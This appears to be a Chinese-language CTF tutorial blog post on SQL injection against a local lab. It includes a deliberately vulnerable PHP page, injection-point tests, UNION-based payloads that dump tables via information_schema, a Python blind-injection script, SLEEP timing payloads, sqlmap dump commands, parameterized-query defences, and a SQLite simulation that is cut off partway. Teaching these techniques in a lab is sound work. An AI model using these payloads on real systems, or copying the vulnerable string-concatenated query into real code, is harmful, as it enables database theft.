[{"data":1,"prerenderedAt":14735},["ShallowReactive",2],{"blog-post-/blogs/ctf-web-sql-injection-deep-dive":3,"all-blogs-for-navigation":1491},{"id":4,"title":5,"body":6,"description":1477,"extension":1478,"meta":1479,"navigation":740,"ogImage":1481,"path":1487,"seo":1488,"stem":1489,"__hash__":1490},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":7,"value":8,"toc":1466},"minimark",[9,14,18,42,52,63,71,75,80,121,128,132,135,173,179,231,237,243,247,257,263,267,272,292,295,303,307,312,328,331,337,344,348,364,370,374,390,393,407,411,416,421,428,432,440,489,492,496,504,520,526,530,546,551,555,571,576,580,596,601,616,620,636,641,647,651,656,659,663,679,685,701,707,710,719,879,882,888,892,899,915,918,922,927,931,936,959,962,968,972,992,997,1001,1033,1040,1044,1088,1097,1104,1108,1113,1119,1296,1299,1312,1315,1321,1324,1451,1455,1462],[10,11,13],"h3",{"id":12},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[15,16,17],"p",{},"普通程序员的查询代码：",[19,20,25],"pre",{"className":21,"code":22,"language":23,"meta":24,"style":24},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php","",[26,27,28,36],"code",{"__ignoreMap":24},[29,30,33],"span",{"class":31,"line":32},"line",1,[29,34,35],{},"$id = $_GET['id'];\n",[29,37,39],{"class":31,"line":38},2,[29,40,41],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[15,43,44,47,48,51],{},[26,45,46],{},"$id"," 被直接拼进 SQL 字符串。当 ",[26,49,50],{},"id=1 OR 1=1"," 时：",[19,53,57],{"className":54,"code":55,"language":56,"meta":24,"style":24},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[26,58,59],{"__ignoreMap":24},[29,60,61],{"class":31,"line":32},[29,62,55],{},[15,64,65,66,70],{},"恒真，返回全表。",[67,68,69],"strong",{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[10,72,74],{"id":73},"二环境搭建二选一","二、环境搭建（二选一）",[76,77,79],"h4",{"id":78},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[19,81,85],{"className":82,"code":83,"language":84,"meta":24,"style":24},"language-bash shiki shiki-themes dracula","git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n","bash",[26,86,87,100,109],{"__ignoreMap":24},[29,88,89,93,97],{"class":31,"line":32},[29,90,92],{"class":91},"sAOxA","git",[29,94,96],{"class":95},"s-mGx"," clone",[29,98,99],{"class":95}," https://github.com/Audi-1/sqli-labs.git\n",[29,101,102,106],{"class":31,"line":38},[29,103,105],{"class":104},"sLL85","cd",[29,107,108],{"class":95}," sqli-labs\n",[29,110,112,114,118],{"class":31,"line":111},3,[29,113,23],{"class":91},[29,115,117],{"class":116},"sIQBb"," -S",[29,119,120],{"class":95}," 127.0.0.1:8000\n",[15,122,123,124,127],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[26,125,126],{},"Less-1","。",[76,129,131],{"id":130},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[15,133,134],{},"数据库：",[19,136,138],{"className":54,"code":137,"language":56,"meta":24,"style":24},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[26,139,140,145,150,155,161,167],{"__ignoreMap":24},[29,141,142],{"class":31,"line":32},[29,143,144],{},"CREATE DATABASE ctf;\n",[29,146,147],{"class":31,"line":38},[29,148,149],{},"USE ctf;\n",[29,151,152],{"class":31,"line":111},[29,153,154],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[29,156,158],{"class":31,"line":157},4,[29,159,160],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[29,162,164],{"class":31,"line":163},5,[29,165,166],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[29,168,170],{"class":31,"line":169},6,[29,171,172],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[15,174,175,178],{},[26,176,177],{},"vuln.php","：",[19,180,182],{"className":21,"code":181,"language":23,"meta":24,"style":24},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[26,183,184,189,194,198,203,208,213,219,225],{"__ignoreMap":24},[29,185,186],{"class":31,"line":32},[29,187,188],{},"\u003C?php\n",[29,190,191],{"class":31,"line":38},[29,192,193],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[29,195,196],{"class":31,"line":111},[29,197,35],{},[29,199,200],{"class":31,"line":157},[29,201,202],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[29,204,205],{"class":31,"line":163},[29,206,207],{},"$result = $conn->query($sql);\n",[29,209,210],{"class":31,"line":169},[29,211,212],{},"while ($row = $result->fetch_assoc()) {\n",[29,214,216],{"class":31,"line":215},7,[29,217,218],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[29,220,222],{"class":31,"line":221},8,[29,223,224],{},"}\n",[29,226,228],{"class":31,"line":227},9,[29,229,230],{},"?>\n",[15,232,233,234,127],{},"启动：",[26,235,236],{},"php -S 127.0.0.1:8000",[238,239,240],"blockquote",{},[15,241,242],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[10,244,246],{"id":245},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[15,248,249,252,253,256],{},[67,250,251],{},"目的","：确认参数 ",[26,254,255],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[15,258,259,262],{},[67,260,261],{},"思路","：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[76,264,266],{"id":265},"请求-1正常请求","请求 1：正常请求",[15,268,269,271],{},[67,270,251],{},"：记录正常响应的样子，作为后续对比的基线。",[19,273,275],{"className":82,"code":274,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[26,276,277],{"__ignoreMap":24},[29,278,279,282,286,289],{"class":31,"line":32},[29,280,281],{"class":91},"curl",[29,283,285],{"class":284},"seVfx"," \"",[29,287,288],{"class":95},"http://127.0.0.1:8000/vuln.php?id=1",[29,290,291],{"class":284},"\"\n",[15,293,294],{},"预期输出：",[19,296,301],{"className":297,"code":299,"language":300,"meta":24},[298],"language-text","1 hello world\n","text",[26,302,299],{"__ignoreMap":24},[76,304,306],{"id":305},"请求-2单引号","请求 2：单引号",[15,308,309,311],{},[67,310,251],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[19,313,315],{"className":82,"code":314,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[26,316,317],{"__ignoreMap":24},[29,318,319,321,323,326],{"class":31,"line":32},[29,320,281],{"class":91},[29,322,285],{"class":284},[29,324,325],{"class":95},"http://127.0.0.1:8000/vuln.php?id=1'",[29,327,291],{"class":284},[15,329,330],{},"预期输出（报错）：",[19,332,335],{"className":333,"code":334,"language":300,"meta":24},[298],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[26,336,334],{"__ignoreMap":24},[15,338,339,340,343],{},"原因：语句变成 ",[26,341,342],{},"WHERE id = 1'","，单引号未闭合。",[76,345,347],{"id":346},"请求-3and-11","请求 3：AND 1=1",[19,349,351],{"className":82,"code":350,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[26,352,353],{"__ignoreMap":24},[29,354,355,357,359,362],{"class":31,"line":32},[29,356,281],{"class":91},[29,358,285],{"class":284},[29,360,361],{"class":95},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[29,363,291],{"class":284},[15,365,294,366,369],{},[26,367,368],{},"1 hello world","（条件真）。",[76,371,373],{"id":372},"请求-4and-12","请求 4：AND 1=2",[19,375,377],{"className":82,"code":376,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[26,378,379],{"__ignoreMap":24},[29,380,381,383,385,388],{"class":31,"line":32},[29,382,281],{"class":91},[29,384,285],{"class":284},[29,386,387],{"class":95},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[29,389,291],{"class":284},[15,391,392],{},"预期输出：空（条件假）。",[15,394,395,398,399,402,403,406],{},[67,396,397],{},"判定","：单引号报错 + ",[26,400,401],{},"1=1"," 正常 + ",[26,404,405],{},"1=2"," 为空 → 注入点确认。",[10,408,410],{"id":409},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[15,412,413,415],{},[67,414,251],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[15,417,418,420],{},[67,419,261],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[15,422,423,424,427],{},"前提：第一个查询返回空（用 ",[26,425,426],{},"id=-1","），UNION 两个查询列数相同。",[76,429,431],{"id":430},"第-1-步确定列数","第 1 步：确定列数",[15,433,434,178,436,439],{},[67,435,261],{},[26,437,438],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[19,441,443],{"className":82,"code":442,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[26,444,445,456,467,478],{"__ignoreMap":24},[29,446,447,449,451,454],{"class":31,"line":32},[29,448,281],{"class":91},[29,450,285],{"class":284},[29,452,453],{"class":95},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[29,455,291],{"class":284},[29,457,458,460,462,465],{"class":31,"line":38},[29,459,281],{"class":91},[29,461,285],{"class":284},[29,463,464],{"class":95},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[29,466,291],{"class":284},[29,468,469,471,473,476],{"class":31,"line":111},[29,470,281],{"class":91},[29,472,285],{"class":284},[29,474,475],{"class":95},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[29,477,291],{"class":284},[29,479,480,482,484,487],{"class":31,"line":157},[29,481,281],{"class":91},[29,483,285],{"class":284},[29,485,486],{"class":95},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[29,488,291],{"class":284},[15,490,491],{},"前三条正常，第四条报错 → 共 3 列。",[76,493,495],{"id":494},"第-2-步确认回显位","第 2 步：确认回显位",[15,497,498,178,500,503],{},[67,499,261],{},[26,501,502],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[19,505,507],{"className":82,"code":506,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[26,508,509],{"__ignoreMap":24},[29,510,511,513,515,518],{"class":31,"line":32},[29,512,281],{"class":91},[29,514,285],{"class":284},[29,516,517],{"class":95},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[29,519,291],{"class":284},[15,521,294,522,525],{},[26,523,524],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[76,527,529],{"id":528},"第-3-步查数据库名","第 3 步：查数据库名",[19,531,533],{"className":82,"code":532,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[26,534,535],{"__ignoreMap":24},[29,536,537,539,541,544],{"class":31,"line":32},[29,538,281],{"class":91},[29,540,285],{"class":284},[29,542,543],{"class":95},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[29,545,291],{"class":284},[15,547,294,548,127],{},[26,549,550],{},"ctf",[76,552,554],{"id":553},"第-4-步查表名","第 4 步：查表名",[19,556,558],{"className":82,"code":557,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[26,559,560],{"__ignoreMap":24},[29,561,562,564,566,569],{"class":31,"line":32},[29,563,281],{"class":91},[29,565,285],{"class":284},[29,567,568],{"class":95},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[29,570,291],{"class":284},[15,572,294,573,127],{},[26,574,575],{},"articles,flag,users",[76,577,579],{"id":578},"第-5-步查列名","第 5 步：查列名",[19,581,583],{"className":82,"code":582,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[26,584,585],{"__ignoreMap":24},[29,586,587,589,591,594],{"class":31,"line":32},[29,588,281],{"class":91},[29,590,285],{"class":284},[29,592,593],{"class":95},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[29,595,291],{"class":284},[15,597,294,598,127],{},[26,599,600],{},"flag",[15,602,603,606,607,609,610,612,613,615],{},[67,604,605],{},"说明","：如果第 4 步看到多个表，比如 ",[26,608,575],{},"，优先怀疑 ",[26,611,600],{}," 表；列名可能不是 ",[26,614,600],{},"，需要本步用 information_schema.columns 确认。",[76,617,619],{"id":618},"第-6-步拿数据","第 6 步：拿数据",[19,621,623],{"className":82,"code":622,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[26,624,625],{"__ignoreMap":24},[29,626,627,629,631,634],{"class":31,"line":32},[29,628,281],{"class":91},[29,630,285],{"class":284},[29,632,633],{"class":95},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[29,635,291],{"class":284},[15,637,294,638,127],{},[26,639,640],{},"flag{sql_injection}",[15,642,643,646],{},[67,644,645],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[10,648,650],{"id":649},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[15,652,653,655],{},[67,654,251],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[15,657,658],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[76,660,662],{"id":661},"_51-布尔盲注","5.1 布尔盲注",[19,664,666],{"className":82,"code":665,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[26,667,668],{"__ignoreMap":24},[29,669,670,672,674,677],{"class":31,"line":32},[29,671,281],{"class":91},[29,673,285],{"class":284},[29,675,676],{"class":95},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[29,678,291],{"class":284},[15,680,681,682,127],{},"正常 → 库名第一个字符是 ",[26,683,684],{},"c",[19,686,688],{"className":82,"code":687,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[26,689,690],{"__ignoreMap":24},[29,691,692,694,696,699],{"class":31,"line":32},[29,693,281],{"class":91},[29,695,285],{"class":284},[29,697,698],{"class":95},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[29,700,291],{"class":284},[15,702,703,704,127],{},"为空 → 不是 ",[26,705,706],{},"a",[15,708,709],{},"自动化脚本：",[15,711,712,714,715,718],{},[67,713,261],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[26,716,717],{},"hello","）就说明猜对，把字符记下再问下一位。",[19,720,724],{"className":721,"code":722,"language":723,"meta":24,"style":24},"language-python shiki shiki-themes dracula","import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n","python",[26,725,726,731,736,742,747,752,756,761,766,771,777,783,789,795,801,807,813,819,825,831,837,843,849,855,861,867,873],{"__ignoreMap":24},[29,727,728],{"class":31,"line":32},[29,729,730],{},"import requests, string\n",[29,732,733],{"class":31,"line":38},[29,734,735],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[29,737,738],{"class":31,"line":111},[29,739,741],{"emptyLinePlaceholder":740},true,"\n",[29,743,744],{"class":31,"line":157},[29,745,746],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[29,748,749],{"class":31,"line":163},[29,750,751],{},"result = \"\"          # 保存已确认的 flag 片段\n",[29,753,754],{"class":31,"line":169},[29,755,741],{"emptyLinePlaceholder":740},[29,757,758],{"class":31,"line":215},[29,759,760],{},"for pos in range(1, 50):\n",[29,762,763],{"class":31,"line":221},[29,764,765],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[29,767,768],{"class":31,"line":227},[29,769,770],{},"    found = False\n",[29,772,774],{"class":31,"line":773},10,[29,775,776],{},"    for ch in string.printable:\n",[29,778,780],{"class":31,"line":779},11,[29,781,782],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[29,784,786],{"class":31,"line":785},12,[29,787,788],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[29,790,792],{"class":31,"line":791},13,[29,793,794],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[29,796,798],{"class":31,"line":797},14,[29,799,800],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[29,802,804],{"class":31,"line":803},15,[29,805,806],{},"        r = requests.get(url, params={\"id\": payload})\n",[29,808,810],{"class":31,"line":809},16,[29,811,812],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[29,814,816],{"class":31,"line":815},17,[29,817,818],{},"        # r.text：响应正文。\n",[29,820,822],{"class":31,"line":821},18,[29,823,824],{},"        if \"hello\" in r.text:\n",[29,826,828],{"class":31,"line":827},19,[29,829,830],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[29,832,834],{"class":31,"line":833},20,[29,835,836],{},"            result += ch\n",[29,838,840],{"class":31,"line":839},21,[29,841,842],{},"            print(result)\n",[29,844,846],{"class":31,"line":845},22,[29,847,848],{},"            found = True\n",[29,850,852],{"class":31,"line":851},23,[29,853,854],{},"            break\n",[29,856,858],{"class":31,"line":857},24,[29,859,860],{},"    if not found or result.endswith('}'):\n",[29,862,864],{"class":31,"line":863},25,[29,865,866],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[29,868,870],{"class":31,"line":869},26,[29,871,872],{},"        break\n",[29,874,876],{"class":31,"line":875},27,[29,877,878],{},"print(\"flag:\", result)\n",[15,880,881],{},"运行过程输出（节选）：",[19,883,886],{"className":884,"code":885,"language":300,"meta":24},[298],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[26,887,885],{"__ignoreMap":24},[76,889,891],{"id":890},"_52-时间盲注","5.2 时间盲注",[15,893,894,895,898],{},"页面连\"正常/异常\"都无法区分时，用 ",[26,896,897],{},"SLEEP"," 制造时间差：",[19,900,902],{"className":82,"code":901,"language":84,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[26,903,904],{"__ignoreMap":24},[29,905,906,908,910,913],{"class":31,"line":32},[29,907,281],{"class":91},[29,909,285],{"class":284},[29,911,912],{"class":95},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[29,914,291],{"class":284},[15,916,917],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[10,919,921],{"id":920},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[15,923,924,926],{},[67,925,251],{},"：手工确认后，用工具批量完成拖库，效率更高。",[76,928,930],{"id":929},"命令-1检测","命令 1：检测",[15,932,933,935],{},[67,934,261],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[19,937,939],{"className":82,"code":938,"language":84,"meta":24,"style":24},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[26,940,941],{"__ignoreMap":24},[29,942,943,946,949,951,953,956],{"class":31,"line":32},[29,944,945],{"class":91},"sqlmap",[29,947,948],{"class":116}," -u",[29,950,285],{"class":284},[29,952,288],{"class":95},[29,954,955],{"class":284},"\"",[29,957,958],{"class":116}," --batch\n",[15,960,961],{},"预期输出（节选）：",[19,963,966],{"className":964,"code":965,"language":300,"meta":24},[298],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[26,967,965],{"__ignoreMap":24},[76,969,971],{"id":970},"命令-2列库","命令 2：列库",[19,973,975],{"className":82,"code":974,"language":84,"meta":24,"style":24},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[26,976,977],{"__ignoreMap":24},[29,978,979,981,983,985,987,989],{"class":31,"line":32},[29,980,945],{"class":91},[29,982,948],{"class":116},[29,984,285],{"class":284},[29,986,288],{"class":95},[29,988,955],{"class":284},[29,990,991],{"class":116}," --dbs\n",[15,993,994,995,127],{},"预期输出：数据库列表，含 ",[26,996,550],{},[76,998,1000],{"id":999},"命令-3导出数据","命令 3：导出数据",[19,1002,1004],{"className":82,"code":1003,"language":84,"meta":24,"style":24},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[26,1005,1006],{"__ignoreMap":24},[29,1007,1008,1010,1012,1014,1016,1018,1021,1024,1027,1030],{"class":31,"line":32},[29,1009,945],{"class":91},[29,1011,948],{"class":116},[29,1013,285],{"class":284},[29,1015,288],{"class":95},[29,1017,955],{"class":284},[29,1019,1020],{"class":116}," -D",[29,1022,1023],{"class":95}," ctf",[29,1025,1026],{"class":116}," -T",[29,1028,1029],{"class":95}," flag",[29,1031,1032],{"class":116}," --dump\n",[15,1034,294,1035,1037,1038,127],{},[26,1036,600],{}," 表内容 ",[26,1039,640],{},[10,1041,1043],{"id":1042},"七核心步骤-5防御","七、核心步骤 5：防御",[19,1045,1047],{"className":21,"code":1046,"language":23,"meta":24,"style":24},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[26,1048,1049,1054,1059,1064,1068,1073,1078,1083],{"__ignoreMap":24},[29,1050,1051],{"class":31,"line":32},[29,1052,1053],{},"// PDO 参数化\n",[29,1055,1056],{"class":31,"line":38},[29,1057,1058],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[29,1060,1061],{"class":31,"line":111},[29,1062,1063],{},"$stmt->execute([$_GET['id']]);\n",[29,1065,1066],{"class":31,"line":157},[29,1067,741],{"emptyLinePlaceholder":740},[29,1069,1070],{"class":31,"line":163},[29,1071,1072],{},"// mysqli 参数化\n",[29,1074,1075],{"class":31,"line":169},[29,1076,1077],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[29,1079,1080],{"class":31,"line":215},[29,1081,1082],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[29,1084,1085],{"class":31,"line":221},[29,1086,1087],{},"$stmt->execute();\n",[19,1089,1091],{"className":721,"code":1090,"language":723,"meta":24,"style":24},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[26,1092,1093],{"__ignoreMap":24},[29,1094,1095],{"class":31,"line":32},[29,1096,1090],{},[15,1098,1099,1100,1103],{},"参数化后，输入 ",[26,1101,1102],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[10,1105,1107],{"id":1106},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[15,1109,1110,1112],{},[67,1111,251],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[15,1114,1115,1116,178],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[26,1117,1118],{},"sim.py",[19,1120,1122],{"className":721,"code":1121,"language":723,"meta":24,"style":24},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[26,1123,1124,1129,1134,1138,1143,1148,1153,1158,1162,1167,1171,1176,1181,1185,1190,1195,1200,1205,1210,1215,1220,1225,1230,1235,1240,1245,1249,1254,1260,1266,1272,1278,1284,1290],{"__ignoreMap":24},[29,1125,1126],{"class":31,"line":32},[29,1127,1128],{},"import sqlite3\n",[29,1130,1131],{"class":31,"line":38},[29,1132,1133],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[29,1135,1136],{"class":31,"line":111},[29,1137,741],{"emptyLinePlaceholder":740},[29,1139,1140],{"class":31,"line":157},[29,1141,1142],{},"conn = sqlite3.connect(':memory:')\n",[29,1144,1145],{"class":31,"line":163},[29,1146,1147],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[29,1149,1150],{"class":31,"line":169},[29,1151,1152],{},"conn.executescript('''\n",[29,1154,1155],{"class":31,"line":215},[29,1156,1157],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[29,1159,1160],{"class":31,"line":221},[29,1161,160],{},[29,1163,1164],{"class":31,"line":227},[29,1165,1166],{},"CREATE TABLE flag (flag TEXT);\n",[29,1168,1169],{"class":31,"line":773},[29,1170,172],{},[29,1172,1173],{"class":31,"line":779},[29,1174,1175],{},"''')\n",[29,1177,1178],{"class":31,"line":785},[29,1179,1180],{},"# executescript：一次性执行多条 